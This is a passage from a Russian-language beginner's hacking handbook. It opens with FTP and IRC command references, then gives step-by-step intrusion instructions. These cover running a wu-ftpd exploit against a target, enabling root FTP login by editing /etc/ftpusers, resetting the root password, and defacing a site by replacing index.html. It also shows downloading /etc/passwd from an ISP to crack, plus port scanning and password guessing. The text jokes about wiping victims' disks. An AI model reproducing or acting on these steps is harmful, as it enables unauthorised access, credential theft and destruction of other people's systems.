расширениях передаваемых файлов.
hash
Активизировать режим печати символов # при передаче блоков, размер каждого из
которых равен 1024 байта.
help [command]
Отобразить описание команды.
interactive
Активизировать режим выдачи сообщений во время приема или передачи файла.
lcd [directory]
Перейти в другой каталог локального компьютера. Если у этой команды отсутствует
аргумент, то вы перейдете в каталог по умолчанию.
lls [directory]
Просмотреть каталог локального компьютера.
ls [other_directory][my_file]
Отобразить содержимое каталога удаленного компьютера. Если у команды нет
аргумента other_directory, то отобразится содержимое каталога по умолчанию. Если
же отсутствует аргумент my_file, то отобразится файл, в который будет помещена
информация с удаленного компьютера. Если же вместо последнего аргумента стоит
дефис, то вся информация с удаленного компьютера будет выведена на экран вашего
монитора.
mdelete [other_files]
Уничтожить файлы other_files удаленного компьютера.
mdir other_files my_file
Распечатать локальные файлы other_files на удаленном компьютере.
mget other_files
Найти на удаленном компьютере файлы other_files, расшифровать и активизировать
команду get для переноса этих файлов в рабочий каталог локального компьютера.
mkdir name_directory
Создать каталог на удаленном компьютере.
mls other_files my_files
Отобразить содержимое файлов удаленного компьютера.
mode [name_mode]
Активизация режима переноса файлов в определенное место. По умолчанию установлен
режим stream.
more
Включить режим more, то есть через паузу разбивать содержимое каталогов на
части. Почти как конвейер в UNIX.
mput files
Найти и расшифровать локальные файлы files и запустить команду put для переноса
этих файлов в рабочий каталог удаленного компьютера.
noninteractive
Не выдавать сообщения во время пересылки или приема файлов.
open host [port]
Соединиться с сервером FTP.
prompt
Показывать интерактивные сообщения.
put my_file [other_file]
Поместить локальный файл my_file на удаленный компьютер. Если у этой команды
отсутствует аргумент other_file, то будет использован исходный файл.
pwd
Распечатать имя текущего каталога на удаленном компьютере.
quit
Аналог команды bye.
quote arg1 arg2 ...
Передать аргументы arg1 arg2 ... на сервер FTP и получить только код ответа.
recv other_file [my_file]
Аналог команды get.
remotehelp [name_command]
Получить список доступных команд удаленного сервера FTP.
rename old_name new_name
Дать другое имя файлу old_name удаленного компьютера.
rm other_file
Аналог команды delete.
rmdir name_directory
Стереть каталог name_directory на удаленном компьютере.
send my_file [other_file]
Аналог команды put.
sendport
Активизация режима команд PORT. Это позволяет ускорить пересылку файлов. Если
PORT не работает, то через протокол передачи файлы поступят на порт данных по
умолчанию.
slashflip
Изменить режим смены слэша.
status
Отобразить состояние программы ftp в данный момент времени.
struct [name_struct]
Эта команда позволяет установить соответствие между структурой файла и указанным
именем. В установке по умолчанию имя структуры есть file.
type [name_type]
С помощью этой команды вы можете установить тип ascii для текстов и тип binary
или image для графики. Если аргумент у этой команды отсутствует, то вы увидите
тип по умолчанию, то есть ascii.
user name_user [password][access]
Весьма полезная команда. Вы сообщаете серверу FTP кто вы есть.
Если какой-либо аргумент у этой команды отсутствует, то вы увидите запрос на
ввод пароля. Если указан только аргумент access, то после того как вы
зарегистрируетесь, можно будет воспользоваться командой доступа account.
verbose
Активизация так называемого режима сообщений, то есть режима при котором вы
можете получать полную информацию с сервера FTP. Этот режим активизирован по
умолчанию.
? [command]
Аналог команды help.
Не принимать и не отсылать!
Если вы немедленно хотите прервать процесс передачи файла, нажмите Ctrl-C. Если
же вы желаете прервать процесс получения файла, пошлите на удаленный компьютер
команду ABOR.
1.8. Параметры программы ftp.
● посредством программы ftp вы можете представлять файлы для передачи в виде
ascii или binary.
● конструкция передаваемого файла основана на типе file, record или page (тип
file выбран по умолчанию).
● файлы передаются в режиме stream, block или compressed (режим stream выбран по
умолчанию).
Пути и слэши для программы ftp
Прием файлов через FTP осуществляется в ваш каталог по умолчанию. Вы можете
изменить этот каталог используя “досовский” синтаксис, так как все равно
обратные слэши \ будут преобразованы в прямые /.
Одновременно передаем и работаем
Вы можете передавать файлы и одновременно работать с другой активной сессией,
перейти из одной сессии в другую или создать новую. Это не означает, что можно в
двух сессиях вести две передачи файлов, так как один из процессов передачи будет
игнорироваться.
Важно: В процессе передачи файлов не следует выгружаться из программы, иначе вы
доставите большую неприятность удаленному компьютеру.
Правила для имен пересылаемых файлов
Именуйте файлы следующим образом:
● имя файла должно состоять максимум из восьми символов, а его расширение должно
быть трехсимвольным. Имя файла отделяется от расширения только точкой.
● переносимые файлы не чувствительны к регистру.
● имя файла обязано быть без спецсимволов (к ним относятся: *, $, #, -) и
управляющих символов.
Информация с сервера FTP
Нажмите Alt-Z. Перед вами информация с сервера FTP. Если вы соединитесь с
удаленным компьютером, то вы можете увидеть имя этого компьютера и его IP-адрес.
Если вы дадите команду USER, то перед вами появится регистрационное имя
пользователя.
Пересылка файлов через FTP
NSCA Telnet позволяет пересылать файлы через FTP.
Вы можете:
● Передать текстовые файлы или файлы бинарного формата.
● Создать, изменить или удалить каталог.
● Распечатать текущий каталог.
● Просмотреть файлы в текущем каталоге.
● Получить или отослать несколько файлов.
● Удалить файл.
Инсталляция FTP
Войдите в меню Parameters и разблокируйте режим переноса файлов. Теперь вы
можете запустить FTP. Помните, что режим переноса файлов должен поддерживать
удаленный компьютер.
FTP на локальном компьютере
Команды FTP зависят от софта удаленного узла. В общем случае после ввода команды
ftp вам нужно ввести имя локального компьютера или IP-адрес (% ftp
123.4.567.89), затем регистрационное имя и пароль (или просто нажать Enter).
Общие команды FTP
help
Показать список команд FTP локального компьютера.
remotehelp
Показать список команд FTP удаленного компьютера.
ascii
Перенос файлов ASCII.
binary
Перенос файлов с бинарными данными.
cd
Установить на локальном компьютере новый каталог.
dir
Отобразить файлы из каталога локального компьютера.
get filename
Получить файл с локального компьютера и переслать его на удаленный.
put filename
Переслать файл с удаленного хоста на локальный компьютер.
pwd
Отобразить на локальном компьютере имя каталога по умолчанию.
quit
Выйти из FTP.
Состояние протокола передачи файлов
Введите команду put или get. Обратите внимание на нижний правый угол экрана.
Перед вами имя файла и количество переданных байтов, (если вы ввели put) или
количество байтов готовых к передаче (если вы ввели get). Через эти числа вы
можете изучать процесс передачи файла. После передачи имя файла пропадет и
удаленный компьютер выведет соответствующее подтверждение.
Первый файл пошел, второй пошел... в очередь!
Через команду mput или mget вы можете передавать файлы по очереди. Файлы
обзываются посредством спецсимволов. Знак вопроса – любой символ, звездочка –
несколько символов. Например, вы можете ввести mget bob.* и передать кучу файлов
bob.1, bob.2 и т.д.
1.9. Internet Relay Chat.
IRC или релейный разговор чем-то напоминает работу в конференциях Usenet. Но
если там вы общаетесь не в реальном времени, то здесь может вестись живой
разговор. Разве что, — вас никто не слышит. Вас могут прочитать. Вы набиваете
текст на клавиатуре. Ваша информация попадает на общий дисплей. Различные группы
видят ваш бред. Если интересно — отвечают. Если — нет, то, в лучшем случае,
молчат. В худшем... Именно так и начинаются войны и наезды в рамках Internet.
Вы можете создать новую релейную группу. Для этого вам нужно подсоединится к
каналу, к которому еще никто не подключен, и выбрать какую-нибудь новую тему для
базара.
Вы можете так же застолбить себе комнатку на двоих, передать файл со своей
фотографией по каналу IRC своему собеседнику или играть в компьютерные игры с
чудаком на том берегу океана.
Выясните у вашего поставщика услуг Internet о доступных каналах IRC. Но! Если у
вас имеется доступ к Telnet, то у вас имеется доступ и к релейному разговору с
юзерами всего мира.
В IRC возможно наличие большого количества каналов. В отличии от адресов сети
сетей каналы имеют исключительно нецифровые имена. Список каналов содержит имя
самого канала и количество юзеров этого канала.
В IRC только идиоты пользуются реальными именами. Здесь в моде псевдонимы.
Именно между этой тонной псевдонимов и ведется разговор. Если вы не знаете
английский, то лучше не суйтесь. Здесь над вами будут издеваться. Эти люди не
понимают даже так называемого хорошего английского. Русских здесь воспринимают
примерно так, как русские относятся к чукчам из Ненецкой республики. Но,
впрочем, попытка — не пытка. Бывает и наоборот. Наверное, зависит от их
настроения. Вас могут принять в свой круг. Вот только тогда вы сможете ощутить
ритм работы релейного канала. В любом случае, начните свое знакомство с
тривиального “Hi All”.
Как подключиться к IRC
IRC — это соединенные между собой серверы мира. Если вы пользователь UNIX, то
просто наберите irc. Если у вас доступ через SLIP/PPP, то вам необходима
соответствующая программа. Командой /server [server_address] вы выбираете
сервер. Теперь попробуйте /join #newbie.
Команды IRC
/away
Подождите, я сейчас приду.
/help
Вывести подсказку.
/invite
Присоединяйся к базару, чудак!
/join
Создать канал.
/list
Вывести список всех каналов и количество пользователей (кроме анонимных).
/m name
Получи, чудак, вот это дело!
/mode
Собственная цензура. Вы определяете тех, кто может приконнектиться к вашему
каналу.
/mode #channel +s
Создать скрытый канал.
/mode #channel +p
Сделать канал привилегированным.
/nick
Сменить собственный общедоступный псевдоним.
/query
Идет приватный базар.
/quit
Выйти из IRC.
/summon
Присоединяйся к нам, чудак!
/topic
Создание нового канала и информирование других доступных юзеров относительно
новой темы релейного разговора.
/who <channel>
Хочу посмотреть адреса юзеров на выбранном канале!
/whois
Хочу получить информацию о том или ином юзере IRC.
/whois *
Получить полный список юзеров канала.
1.10. MUD
MUD означает так называемые многопользовательские темницы (Multiple User
Dungeons). Эти дела уводят релейные чаты в нечто невообразимое. Некоторые
называют это сетевым бредом. Но, по-моему, именно в этом сетевом бреде и
плодятся хакеры. А бредом это дело называют те, кто ненавидит хакеров из-за
зависти. Ну кому захочется быть идиотом только из-за того, что на свете есть
очень умный народ.
Итак MUD — это нечто новое, даже, можно сказать, новая реальность. Как сюда
попасть? Вы шастаете по IRC? Да?! Тогда, вы уже в ней. Оглянитесь! Вы рядом с
Богом IRC. Он дает добро на “Пропасти и драконы”. А вот пошли MUCK и MUSE. Здесь
масса игр. Здесь вы найдете знаменитую HoloMuck, Танстаафл и планету Холо.
При связи с MUD выбирайте пароль так же тщательно, как и для своей местной
системы — к сожалению, существуют взломщики MUD, которые любят вламываться в
чужие разделы. И никогда, никогда не используйте пароль своей местной системы!
1.11. Программы exploit.
Exploit — это небольшие программки, которые помогают вам взламывать сервер. Эти
программки разрабатываются для конкретной версии того или иного сервиса (daemon)
на сервере.
Вот списки популярных exploit’ов:
● ftp — wu-ftp2.42; wu-ftp2.60
● qpopper
● proftp
И еще тысячи им подобные.
Большинство exploit написаны в виде openSource (открытый код), а так же на языке
программирования С++.
Большинство из них требует для запуска UNIX. Вот простенький пример
использования exploit (после того как вы его списали и распаковали) UNIX
wu-ftp2.42 (подразумевается что вы root):
#gcc имя файла с окончанием .с
#./a.out - имя файла после компиляции (если не было ошибок при ней)
Нас спрашивают IP-адрес сервера, который мы атакуем и -offset — параметр,
зависящий от компилятора, использованного при создании сервиса (демона) на
удаленной машине (в данном случае он колеблется от
-5000 до +5000 с прибавлением +100, то есть, примерно так: -5000 -4900
-4800… 0 100 200… 5000).
Не удивляйтесь, если все эти шаги не привели к желаемому результату. Просто
скорее всего сервер, который вы пытаетесь атаковать, уже пропатчили…
Патч (patch) — небольшая прога, которая закрывает известные ей “дыры” (bugs) в
системе безопасности.
Вот пока и все, что вам нужно знать про эксплоит.
1.12. Что такое root?.
Root — это главная цель всех взломов. Root — это корень сервера, root — это
суперпользователь (super-user), который может делать с компьютером все, что ему
захочется!
Как получить root? Получить root очень сложно (конечно, если не учитывать, что
есть администраторы — полные ламера, я порой удивляюсь — за что им платят
деньги).
Так что же делать? Вот здесь как раз и приходят на помощь известные нам exploit.
Кстати, возможно и вы сможете когда-то написать exploit. Что для этого нужно?
Много пива, знание C++, блок сигарет, дни и ночи, проведенные за изучением кода
демона.
Цель (большинства) exploit — в remote access (удаленном доступе), т.е. запустив
правильно exploit (при условии, что атакуемый сервер не пропатчен против него и
версии совпадают) вы в большинстве случаев получите remote access.
Что дальше?
Ну вот, мы забрались в систему (давайте просто представим это), что же теперь
делать?
1. Мы знаем систему (версию, название).
2. Мы нашли дырку в ней.
3. Мы обязательно продумали, что делать дальше перед взломом.
Так вот, многие взломы в сети заканчиваются изменением странички. Значит так: в
каталоге /etc (где находятся самые важные настройки сервера), есть файл ftpusers
(в BSDI UNIX), так по default (умолчанию) root доступ к порту 21 (ftp) запрещен.
Вы с помощью редактора joe (на удаленной машине) редактируете этот файл и
разрешаете root использовать ftp.
Как? Просто поставьте перед root знак #, а затем запишитесь (Ctrl+k, затем x).
Пример (вы — root):
#joe /etc/ftpusers
В редакторе вставляем перед root символ #, затем жмем Ctrl+k, а затем x.
Все, файл изменен, теперь можно выходить из системы (а то вдруг вас админ
просечет?).
Кстати, имея root доступ к серверу, вы можете изменить пароль к root и даже
отформатировать жесткий диск… Вот было бы смешно посмотреть на администратора
сервера, который придя на работу (после большого бодуна) увидит, что жесткий
диск абсолютно чистый!
Теперь пишем:
#ftp ip_address or host_name
login: - здесь пишем root
password: здесь пишем пароль!
И вот черт! Мы забыли изменить root пароль! (Я нарочно это сделал, чтобы вы
привыкали к возможным ошибкам и еще раз обратили внимание на следующее)…
Что делать? Правильно! Возвращаемся к exploit! Но сначала красиво выйдем…
Вводим любую комбинацию символов…
И…
Система пишет:
login incorrect
М-да… шанс был 1 из 1.000.000 (если не больше), что вы угадаете пароль — это
явно доказывает, что подбор при взломе (ручной) практически исключен.
А теперь опять exploit… (предположим вы опять зашли в систему, вы опять root).
Просто введите:
#passwd
Получим:
New unix passwd: - здесь пишем (чтобы не забыть) 12345
Результат:
Unix password too weak, please retype password:
Что это значит?
Это значит, что UNIX система — не глупый MUST_DIE!
И запомните навсегда — пароль должен быть типа: Abc04k9834z — неудобно?
А придется запомнить это правило!
Кстати, если вы будете когда-то подключаться к провайдеру, то выберите примерно
такой пароль! Или пароль — русское слово, напечатанное в режиме английского
языка! Например, слово ЯКРУТ (вместе) — будет выглядеть как ZRHEN.
Но в данном случае можно еще раз ввести 12345 и получим:
Retype password: - и еще раз пишем 12345
Все, пароль изменен! Переходим опять к FTP.
#ftp
ftp>open ip_address or host_name
(как вы заметили, здесь немного по-другому написано, но результат не меняется)
login: root
password: 12345
И вот мы в системе! (Вы не забыли, зачем мы здесь? Мы хотели изменить WWW
страницу!)
Теперь вы можете выходить из ftp написав bye:
ftp>bye
И вот мы вышли из системы.
Вы спросите — зачем мы столько мучились с ftp, если мы через него ничего не
изменим?
А я отвечу — мы тренируемся!
Теперь потренируемся с командой telnet (порт 23), которая соединяет нас с
удаленным сервером.
Опять же запускаем exploit и после удачного входа в систему, пишем:
#telnet 127.0.0.1 80
127.0.0.1 — это локальный адрес машины называемый loopback — т.е. машина
работает сама с собой через этот ip; 80 — это порт протокола HTTP (Hyper Text
Transfer Protocol) и, немного подождав, введите что-то типа:
we hack you
В ответ на это вы получите кучу тэгов, а внизу название и версию сервера (не
правда ли, оригинальный способ?).
Кстати, привыкайте к оригинальности в своих действиях и к нестандартному
подходу, т.к. нет ни одного общего алгоритма взлома различных систем. Так же
поймите, что метод взлома — это своеобразное искусство и каждый изощряется в нем
по-своему!
Вот мы и узнали версию сервера…
Что же дальше?
А дальше вот что!
Где находится программа-сервер?
Это (иногда) довольно просто определить: предположим, сервер называется apache
(очень распространенный web-сервер). Пишем:
#which apache
Получаем:
/usr/sbin/apachectl
или
/usr/local/sbin/apachectl
Это толком ничего нам не дает, кроме того, что мы теперь знаем, где находятся
файлы конфигурации, в которых есть строка DocumentRoot (httpd.conf). Этот файл
находится:
/usr/etc/apache
или
/usr/local/etc/apache
Чаще всего (исходя из вышеописанного) apache DocumentRott (home_dir) находится:
/www
или
/home/www
или
/usr/local/www
Пишем:
#cd home_dir
где home_dir — каталог www. Затем удаляем index.htm или index.html. Как узнать
какой?
Пишем:
#ls -full | more
И вот мы видим все содержимое сервера (www). Дальше пишем:
#rm index.htm (index.html)
Что в итоге удалит главный файл.
Пишем:
#joe index.htm (index.html)
Теперь (в редакторе joe) пишем что-то типа:
This site hacked by Vasya
Жмем Ctrl+k, а затем x.
Так же в редакторе joe вы можете написать что угодно.
Глава 2. Хакеры, кракеры и фрикеры.
Очевидно, что смысл сети сетей в состоит в разумности ограничения круга
пользователей того или иного сервера. Если подобный сервер закупорен полностью,
то и работать может с ним лишь тот, кто его закупорил. Поэтому, любая компания,
прежде чем принять решение о вступлении в сообщество Internet, дает себе отчет в
том, что существует возможность проникновения в свой главный сервер неких
посторонних лиц.
Вот эти посторонние лица и называются хакерами.
2.1. Хакеры — кто они?
Когда?
Хакеры появились в то же самое время, что и Internet. В 1960 годах хакером
назывался высококвалифицированный программист. Теперь это слово имеет несколько
иное значение. Начало семидесятых и конец восьмидесятых — лучшие годы для
хакеров. Тогда было больше ламмеров, операционные системы только начинали
появляться, компьютеры на основе таких систем имели много ошибок и дыр. Хакеры в
то время были более свободными.
Кто?
Да, хакеры — это те, кто взламывают сети. Делается это разными способами.
Например, через порт терминала или порт электронной почты.
Как?
Выбрав жертву, хакер прежде всего определяет, имеются ли на сервере плохие
пароли, плохо настроенный софт или испорченная операционка. Затем выбирается
метод собственной безопасности. Самый распространенный способ проникнуть в сеть
так, чтобы остаться незамеченным — это взлом по цепочке:
● Крякаем Net1.
● Net1 используем для взлома Net2.
● Net2 свободна для доступа в Net3.
И пошло-поехало дальше.
Существуют тонны программ, посредством которых компьютер может вести поиск
пароля через перебор некоторого словаря имен. Сложнее вскрыть сеть, если пароль
логина имеет больше шести символов, чувствителен к регистру или содержит цифры.
Но! В настоящее время многие сети открывают к себе доступ через автоматическое
прохождение системы паролей. Эта система построена на так называемом файле
паролей. В этом файле перечисляются доступные компьютеры и пароли пользователей
сети. Что делает хакер? Он вламывается в сеть и скачивает этот файл. Все!
Другой способ взлома — взлом через так называемые отладочные переключатели
операционных систем. Как известно эти переключатели могут иногда находиться во
включенном состоянии.
Кроме всех этих вышеперечисленных приблудов, конечно же, широко используется
предварительная вирусная атака.
Взломав сеть, хакер заметает следы и уничтожает всю компрометирующую себя
информацию. И через некоторое время сматывается.
2.2. Типы хакеров
В настоящее время имеется много типов хакеров, каждый из которых весьма
различен:
Хакеры
Народ, вламывающийся в систему ради забавы, не нанося ощутимого вреда
компьютерам. Хакеры врываются в систему, оглядываются, и затем пробуют взломать
даже более безопасную систему. Они не делают прибыль из хакинга.
Кракеры
Так называемые плохие хакеры. Эти люди нападают на систему и уничтожают ценные
данные или крадут программное обеспечение с целью его дальнейшего небесплатного
распространения.
Фрикеры
Народ, который занимается хакингом на телефонных линиях с целью получить
бесплатный телефонный разговор с любой точкой мира.
2.3. Хакер или взломщик?
Многие думают, что смысл существования хакеров состоит в травле несчастных
юзеров Internet. Именно к таким типам, наверное и относится Клиффорд Столл,
выследивший чудаков из Германии, продававших секретную компьютерную информацию
коммунистам. Наверное, он
прав. А вот Роберт Моррис, автор знаменитого червяка-разрушителя, считает,
наверное, по другому.
Что же может сделать простой хакер? Хакер или взломщик? А есть ли между ними
разница? Есть мнение, что многие вирусники как раз и пишут антивирусы. Значит,
есть и хакеры-взломщики или, нет — взломщики-хакеры. Впрочем, все равно
информационные убийцы. Как же эти убийцы узнают пароли, вторгаются в Internet и
заражают программы на уровне протокола передачи файлов?
Используя особый софт, который вы можете скачать из Internet, вы можете сами
стать хакером. Наберите в Yahoo шизофреническое “crack”...
2.4. Как стать хакером
Дальше идут шуточки шуточек. Стать хакером очень просто... Достаточно выучить и
понять: математические дисциплины (математический анализ, теорию функций
комплексного переменного, алгебру, геометрию, теорию вероятностей,
математическую статистику, математическую логику и дискретную математику),
инженерные дисциплины (физику, аппаратные средства вычислительной техники,
основы радиоэлектроники, сети связи и защиту информации от технической
разведки), дисциплины по программированию и вычислительной технике (информатику,
языки программирования высокого уровня, методы программирования, язык
ассемблера, операционные системы, системы управления базами данных и
вычислительные сети), специальные дисциплины (криптографию и теоретические
основы защиты компьютерных систем).
Это достаточно полный список. Но если же говорить о более подробных хакерских
вещах, то вам необходимо знать, что на свете существуют:
● криптографические методы в системах защиты государственной, конфиденциальной и
коммерческой информации.
● криптографические методы и средства защиты и дешифрования информации.
● математические методы расчета надежности шифрсистем.
● математические модели процессов, возникающие при защите информации.
● методы решения вероятностных, статистических и алгоритмических задач
криптографического анализа, синтеза шифрсистем и криптографических протоколов.
● методы определения угроз безопасности информации.
● методы построения математических моделей защищаемой информации, шифров и
шифрсистем.
● методы преобразования информации в сетях различного типа.
● методы прогнозирования оценок криптографической стойкости.
● обеспечение надежности функционирования аппаратуры шифрования и тестирования
программно-аппаратных реализаций криптографических алгоритмов.
● общая методология криптографического анализа и построения оценок
криптографической стойкости шифрсистем.
● определение каналов утечки информации методикой измерения и расчета параметров
опасных сигналов.
● основные положения теории электрических цепей.
● основные принципы организации систем и сетей связи и особенности современных
сетевых архитектур.
● основные типы шифров, шифрсистем, криптографических протоколов и способы
выбора системы защиты.
● особенности разработки и сопровождения программного обеспечения для рабочих
групп и парапрограммирования.
● принципы построения шифров, шифрсистем и криптографических протоколов.
● типовые методы криптографического анализа и оценивания криптографической
стойкости.
2.5. Начинающему хакеру
Для начала давайте определимся, кто такой хакер.
Хакер — это человек, который досконально знает организацию сети, операционные
системы сети, языки программирования.
Так же хакер знает, как построены сетевые протоколы (например, TCP/IP). И еще
очень многое.
Почему хакеры будут всегда?
Ответ прост — потому что все сделанное людьми — может ими же быть взломано! А
так же потому что всегда будут администраторы с именем “ЛАМЕР ДНЯ”.
Итак начнем…
Для начала вам необходимо найти дистрибутивы следующих сетевых ОС:
● Linux
● RedHat — для начинающего пользователя UNIX
● SlackWare — для более опытного пользователя UNIX
● FreeBSD — для людей, которые уже довольно свободно чувствуют себя в UNIX
Постоянная дилемма: что лучше Linux или проект BSD (FreeBSD, OpenBSD, NetBSD…)?
Каждый выбирает для себя. Каждая из них имеет свои преимущества и недостатки.
А теперь ближе к взлому… Итак, вот список популярных в сети сервисов:
● ftp 21
● telnet 23
● smtp 25
● http 80
● pop3 110
Цифры — это порядковый номер того или иного сервиса.
Итак, все по порядку:
FTP (21)
Наверное, все пользовались FTP, если нет, то все впереди.
Что такое FTP? File Transfer Protocol (протокол передачи файла). Так вот, когда
вы подключаетесь через FTP на сервер, то вы автоматически подключаетесь к порту
21 и дальше, используя команды, пользуетесь этим сервисом.
TELNET (23)
Это тот порт, через который происходит большинство взломов (после обнаружения
ошибки), поэтому многие провайдеры и серверы с нормальными администраторами
отключают этот порт.
Что можно сделать если вы имеете telnet доступ? Ну, на верное все(!) от
переформатирования винчестера (на удаленной машине конечно!) до изменения ядра
системы.
SMTP (25)
Вы, наверное, не раз в жизни отсылали электронную почту? Так вот, вся
электронная почта проходит через этот порт. Simple Mail Transfer Protocol —
простой протокол передачи почты.
HTTP (80)
Hyper Text Transfer Protocol — Протокол передачи гипертекста.
Ну, наверное, этот протокол знают все, кто когда-либо пользовался Internet. Все
web-серверы, все странички (по большей части) работают через этот порт. Одним
словом — все, что вы грузите в ваш браузер доставляется к вам через этот порт.
Так как этот протокол существует давно и при этом претерпел мало изменений, то
взлом через него практически невозможен даже для профессионала! Исключая случаи,
когда программа на web-сервере с “дырами” в безопасности.
POP3 (110)
Через этот порт вы получаете электронные сообщения к себе в Mail-Agent
(например, Microsoft Outlook).
Вот вы теперь и разбираетесь (немного) в основных протоколах.
Так как взломать? Не спешите, не все так просто…
Для данного этапа вашего развития как хакера вам необходимо знать основы UNIX
систем в целом. Так вот — очень (ну очень) краткое описание UNIX.
Файловая система
В отличие от Windows (далее MUST_DIE), где имена дисков (A, B, C, D…) и путь к
файлу выглядит как:
C:\ MUST_DIE\ die.com
в UNIX существует один основной каталог /, а устройства (такие как CD-ROM) можно
найти в директории (например, /cdrom).
В начале эта система вам покажется очень странной — нет буквенных
идентификаторов. Но в итоге это в сотни раз удобнее.
Далее.
Все настройки системы находятся в каталоге /etc. Файл с паролями (обычно)
находится в каталоге /etc под именем passwd т.е. полный путь к нему —
/etc/passwd.
Существует много программ, расшифровывающих этот файл, поэтому я не советую
сразу находить их, потому что главное — это списать этот файл, а расшифровать
это уже не проблема.
Итак, ломаем провайдера!
Первое, что нужно сделать — узнать реальный IP-адрес.
Делается это очень просто:
tracert (под UNIX traceroute) w3.cnn.com
и вторая строка — это то что нам нужно…
Оттуда (из второй строки) берем IP-адрес (IP — уникальный адрес для каждой
машины в сети Internet. Пример 195.55.55.55 (каждое число может быть в диапазоне
от 0…255 т.е. 0-255.0-255.0-255.0-255).
Теперь пишем ftp (и после пробела пишем этот IP-адрес). Где писать? В MS-DOS
PROMPT или в сеансе MS-DOS.
Теперь (немного подождав) мы видим строчку login. Здесь пишем ваш логин для
входа в систему Internet. Теперь видим строчку Password. Здесь пишем ваш пароль
для входа в Internet.
И мы получаем что-то типа вот этого (честно говоря очень маленькая вероятность
того, что ваш провайдер настолько глуп, но с чем черт не шутит! Один популярный
сервер w3.dos.net взломали еще проще — подключились к сервису IIS (Internet
Information Server), а там вообще не было пароля!
Так вот — продолжаем.
Видим:
Directory /home/usr/ваш_логин not found
Logging in "/"
Вот и все, считайте, что взлом окончен.
Просто напишите строку:
ftp> (писать здесь) get /etc/passwd
Вы получили файл с паролями. “Куда?” — спросите вы. Это легко узнать, запустив
команду find под MUST_DIE и искать нужно passwd файл (без расширения). Обычно он
записывается в ту директорию, из которой вы запустили ftp программу (т.е. обычно
это директория MUST_ DIE). Вот и ищите его там, если нет — то смотрите команду
find.
Как ни жаль, но таких провайдеров все меньше и меньше. Но они существуют, и, к
тому же, появляются новые!
Не огорчайтесь, если у вас ничего не вышло! Это только начало…
Правило номер один: главное — стремление и желание найти “дырки”, а так же
умение ими воспользоваться.
2.6. Основы хакинга
Как же надо хакать и с чего начать? Для начала попробуй просканировать несколько
IP по разным портам. Ты увидишь, что некоторые компьютеры отвечают, а некоторые
нет. Некоторые компьютеры ответят и только некоторые, возможно некоторые из
найденных будут плохо защищенными и ждать пока ты их взломаешь.
Небольшое отступление: Ты скажешь что это за фигня такая — порты и прочая
лабуда? Порт — это адрес определенного сервиса, запущенного на данном компьютере
в Internet. Также их очень часто называют TCP/IP (Transfer Control
Protocol/Internet Protocol) порты, так как на них может обратиться другой
пользователь из Internet.Примером может служить принтер или модем — они ведь
тоже обращаются с компьютером через свои порты.
Как только человек выходит в Internet, он сразу же получает свой уникальный
IP-адрес (например, ppp103-3-5.dialup.glasnet.ru). После этого любой желающий
может воспользоваться твоими ресурсами (которые доступны) также, как и тебе
ресурсы других. Для того, чтобы воспользоваться услугами, необходимо указать
IP:port (к примеру, 195.34.34.30:21 — для того, чтобы попасть на FTP сервер
zone.ru).
Теперь ты, возможно, приконнектишься к какому-нибудь серваку к порту 23 (порт
telnet) (Пуск к выполнить к telnet ip:port. Если не указывать порт, то по
умолчанию это 23 порт). Если ты нормально приконнектишься, то увидишь
приглашение с просьбой ввести логин и пароль. Но поскольку ты не знаешь
логина/пароля, то сервер через некоторое время пошлет тебя подальше. Если тебе
нечего делать, то можешь попытаться поперебирать пароли, а когда надоест, можешь
читать дальше.
Если попробовать приконнектиться к серверу не через 23 порт, а через
какие-нибудь другие порты, то при большом везении сервер тебе скажет что ты
приконнектился удачно и ты сможешь легко найти нужную комбинацию. Это самый
простой способ взламывания серверов. Можно проявить себя как “Белый хакер в
шляпе” — посылаешь письмо сисадмину и уходишь с этого сервера (типа незаконно и
все в таком духе). Ну а если ты никогда не слышал про 273-275 статьи УК РФ, то…
ну, я думаю, ты сам догадаешься, что тебе делать…
Небольшое отступление: Сервак — компьютер, подключенный к Internet. Сервис —
программа, запущенная на серваке на определенном порту. Каждая такая программа
должна отвечать на определенные программы. Если ты дашь этой программе
правильную команду, то она должна что-то сделать для тебя. Самый простейший
пример — сервис “ЭХО” или по другому — генератор символов (порт 19). Если ты
приконнектишься телнетом по этому порту к компьютеру, у которого запущен этот
сервис, эта программа будет реагировать на любой нажатый тобой символ и будет
показывать его в окне телнета. Все что тебе нужно — приконнектиться к серваку,
на котором запущен нужный тебе сервис.
Другой пример — это сервис поиска нужного человека в сети (Finger). Если ты
задашь этой программе искать какого либо человека с другого хоста и при этом
программа finger запущена на сервере, а также пользователь не сделал так, чтобы
его эта программа не находила, то ты получишь об этом пользователе очень много
полезной инфы.
Какие сервисы запущены, на каких портах и где об этом узнать? Порты находятся в
диапазоне от 1 до 1024 и называются “хорошо известные порты” (well-known).
Список использованных портов можно посмотреть в файле на компьютере, который
называется “services”. В Windows он находится в C:\ твой_Windows\ SERVICES\ . В
NT это — C:\ WINNT\ SYSTEM32\ DRIVERS\ ETC\ SERVICES. Ну а в Юниксе это
/etc/services/ (хотя если у тебя стоит Юникс, я думаю тебе это объяснять не
надо). Эти порты называются хорошо известными, так как они используются для
наиболее распространенных сервисов (WWW, е-mail, FTP, news, telnet). Например,
SMTP — отправка почты — 25 порт, POP3 — прием почты 110 порт, WWW — 80 порт, FTP
— 21…
Ты можешь быть сбит с толку тем, то что существует куча прог для сканирования
всего, чего только возможно и хакеры ими очень часто пользуются. Но! При этом ты
можешь нарваться на неприятности, так как у сисадминов есть привычка (далеко не
лучшая в твою пользу) просматривать логи всех коннектов и по каким портам, а так
же попытки взлома их сервера. Некоторые сисадмины свободно разрешают сканить их
серверы, а некоторые, увидев что-нибудь не ладное, сразу откапывают твоего
сисадмина и жалуются ему какой ты нехороший (в исключительных случаях это может
окончиться тем, что тебя отключит из Internet твой пров навсегда!). В США
сканирование разрешено и сами сисадмины часто сканят друг друга в целях
нахождения дырок. Но от греха подальше если кого-нибудь собираешься сканить из
добрых побуждений — лучше попроси разрешение или хотя бы уведоми об этом
сисадмина.
Так что же такое дырки в системах, о которых столько говорят? Дырка — что-нибудь
в системе, которое позволяет кому-нибудь контролировать систему в обход
сисадмина.Существует очень много типов дырок. Это может быть неправильно
сконфигурированная программа, ошибка в самой программе… Наглядным примером плохо
сконфигурированной программы может служить старая версия программы sendmail
(если сисадмин оставлял команды wiz и debug или дал директории неправильные
права доступа на FTP-сервере, то любой желающий мог скачать файл паролей). В
таких случаях вся вина лежит на сисадминах, так как ошибка допущена при
конфигурировании, а не из-за самой программы.
Другой очень известный и распространенный баг — расшаривание ресурсов в Windows
когда это совершенно не нужно или пустой пароль на полный доступ. Из ошибок
программ самые распространенные — переполнение буфера обмена у программ,
